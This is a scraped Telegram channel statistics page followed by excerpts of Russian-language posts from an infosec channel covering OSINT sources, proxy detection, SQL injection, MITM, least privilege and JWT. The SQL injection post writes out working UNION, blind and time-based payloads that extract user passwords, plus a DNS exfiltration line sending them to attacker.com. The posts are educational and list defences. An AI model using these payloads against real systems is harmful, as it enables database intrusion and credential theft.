CodeGuard: PySec Edition
Канал по ИБ и этичному хакингу. Автор: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Рекламный менеджер: @Diggsale Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Mostrar más📈 Análisis del canal de Telegram CodeGuard: PySec Edition
El canal CodeGuard: PySec Edition es un actor destacado. Actualmente la comunidad reúne a 13 879 suscriptores, ocupando la posición 8 900 en la categoría Tecnologías y Aplicaciones y el puesto 46 507 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 13 879 suscriptores.
Según los últimos datos del 20 septiembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 616, y en las últimas 24 horas de 29, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 10.64%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 5.84% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 1 477 visualizaciones. En el primer día suele acumular 810 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 7.
- Intereses temáticos: El contenido se centra en temas clave como codeguard, pysec, docker, grep, контейнер.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Канал по ИБ и этичному хакингу.
Автор: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Рекламный менеджер: @Diggsale
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 21 septiembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
Карты — топографические, спутниковые, исторические, кадастровые
Реестры — юридические лица, недвижимость, судебные дела, патенты
СМИ и соцсети — локальные новостные ресурсы, поиск по людям
Госструктуры — сайты министерств, ведомств, открытые данные
Статистика — демография, экономика, транспорт, инфраструктура🔗 Ссылка: OSINT International 😈 CodeGuard: PySec Edition | Чат
JA3/JA4-отпечатки — TLS-рукопожатие имеет уникальные характеристики, которые можно детектировать
Поведенческий анализ — даже при шифровании, паттерны трафика (размер пакетов, тайминги) могут выдать прокси
Сертификаты — даже если они "поддельные", методы анализа становятся умнееXHTTP — что это:
Новая транспортная обёртка, маскирующая прокси-трафик под обычный HTTP/3
Использует QUIC, который сложнее анализировать
Разработан для противодействия именно поведенческому анализу➡️ Полная статья 😈 CodeGuard: PySec Edition | Чат
' UNION SELECT username, password FROM users--
Суть: Крадём данные напрямую из интерфейса.
🎭 2. Blind (Слепая) — когда результат не виден
Приложение не показывает данные, но его поведение меняется. Атакующий задаёт вопросы "да/нет":
' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'--
Если условие верно — страница загружается нормально, если нет — с ошибкой или пустая. Так посимвольно угадываем пароли.
⏱️ 3. Time-based — слепая, но с таймером
Разновидность слепой, где ответ — это задержка.
' AND IF((SELECT password) LIKE 'a%', SLEEP(5), 0)--
Если первый символ пароля — a, сервер "заснёт" на 5 секунд. Долгий ответ = угадали.
🌐 4. Out-of-band (DNS-экфильтрация) — хитрый обход
Когда ничто не помогает, заставляем саму базу данных отправить нам данные. Через DNS-запрос.
sql
' UNION SELECT LOAD_FILE('\\\\'(SELECT password)'.attacker.com\\test')--
Как работает:
СУБД пытается прочитать "файл" по пути \\<украденный_пароль>.attacker.com\test.
Для этого она делает DNS-запрос к домену attacker.com.
В логах DNS-сервера злоумышленник видит полный запрос: <украденный_пароль>.attacker.com.
Данные украдены.💎 Итог:
UNION — если виден вывод.
Blind — если есть косвенная реакция.
DNS-атака — когда другие методы бессильны, но можно выполнить произвольный запрос.
Защита — не только фильтрация кавычек, а параметризованные запросы, минимальные права БД и мониторинг DNS.😈 CodeGuard: PySec Edition | Чат
Работает 24/7 без вашего вмешательства
Не нужно покупать железо
Использует инфраструктуру Cloudflare Workers🔗 GitHub: Moltworker 😈 CodeGuard: PySec Edition | Чат
Автоматический поиск по даркнет-ресурсам
Генерация запросов через ИИ
Работа через командную строку
Лёгкая настройка🔗 GitHub: Robin 😈 CodeGuard: PySec Edition | Чат
Злоумышленник встраивается между вами и сервером. Вы думаете, что общаетесь с сайтом, а на самом деле — с хакером. Он читает, меняет и передаёт данные дальше. Незаметно.Как ловят чаще всего? ⚠️ Человек-в-браузере (Man-in-the-Browser)
Особо опасная модификация. Вредонос сидит прямо в вашем браузере и перехватывает данные после того, как вы прошли шифрование. HTTPS бессилен, сертификаты в порядке, а хакер уже смотрит, что вы вводите в формы.🛡 Защита
Не игнорировать ошибки сертификатов.
VPN в открытых сетях.
HTTPS Everywhere и внимательность к адресной строке.
Обновления — патчи закрывают дыры, через которые ставят снифферы.💎 Итог: MITM — атака на доверие. Вам кажется, что вы говорите с банком. А вы говорите с тем, кто прикинулся банком. 😈 CodeGuard: PySec Edition | Чат
Мультиагентная архитектура — разные агенты занимаются разведкой, сканированием, эксплуатацией
Использует инструменты Kali (Nmap, Metasploit, Hydra и другие) из докер-образа
Управляющие модели: GPT, Claude, DeepSeek (на выбор)
Красивый GUI + мониторинг через Grafana/Prometheus
Можно наблюдать за действиями агентов в реальном времени🔗 GitHub: PentAGI
Пользователи: Менеджеру не нужен доступ к серверным логам. Бухгалтеру — к репозиторию с кодом. Если учётка менеджера будет скомпрометирована, злоумышленник не получит доступ к критической инфраструктуре.
Приложения: Веб-серверу не нужны права root. Он должен запускаться от отдельного пользователя с доступом только к своим директориям. Если взломают сайт — хотя бы систему не положат.
Сервисы и демоны: Каждый сервис должен работать под своей учётной записью, а не под общей. Тогда компрометация одного не приведёт к падению всего.🛡Где это нарушают чаще всего?
Запуск всего под root — «чтобы работало быстрее».
Выдача прав всем на всё — «чтобы не дёргать по мелочам».
Одна учётка для всей команды — «root — он общий».🛠 Как внедрить? ➡️Аудит: Проверить, у кого какие права. Удивиться. ➡️Разделение: Создать отдельных пользователей под каждую задачу. ➡️Минимизация: Выдавать права только на чтение там, где не нужно писать. ➡️Регулярная проверка: Права имеют свойство накапливаться. 💎 Итог: PoLP — это не про недоверие к людям. Это про минимизацию ущерба, если учётку украдут. Чем меньше прав у скомпрометированного аккаунта — тем меньше боли у компании. 😈 CodeGuard: PySec Edition | Чат
Header.Payload.Signature
Header (Заголовок): Обычно {"alg": "HS256", "typ": "JWT"}. Указывает алгоритм подписи (HS256, RS256, none) и тип.
Payload (Полезная нагрузка): JSON-объект с утверждениями (claims). Например: {"sub": "user123", "name": "Vasya", "admin": false, "iat": 1516239022}.
Signature (Подпись): Криптографическая подпись, которая гарантирует, что токен не был изменён. Создаётся путём хеширования base64UrlEncode(header) + "." + base64UrlEncode(payload) с использованием секретного ключа (для HS256) или приватного ключа (для RS256).Пример токена:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
🛡Как защититься? Основные правила
Никогда не доверяйте alg из токена. Жёстко задавайте алгоритм проверки на сервере.
Всегда проверяйте подпись перед чтением payload.
Используйте сложные, случайные секретные ключи для HS256.
Проверяйте все claims в payload: iss (issuer), aud (audience), exp (expiration time). Не используйте none в продакшене.
Храните приватные ключи в безопасности, публичные ключи — в доверенных источниках.
Валидируйте параметр kid, запрещая пути и URL.💎 Итог: JWT — мощный и удобный стандарт, но его «самодостаточность» — палка о двух концах. Одна ошибка в реализации 😈 CodeGuard: PySec Edition | Чат
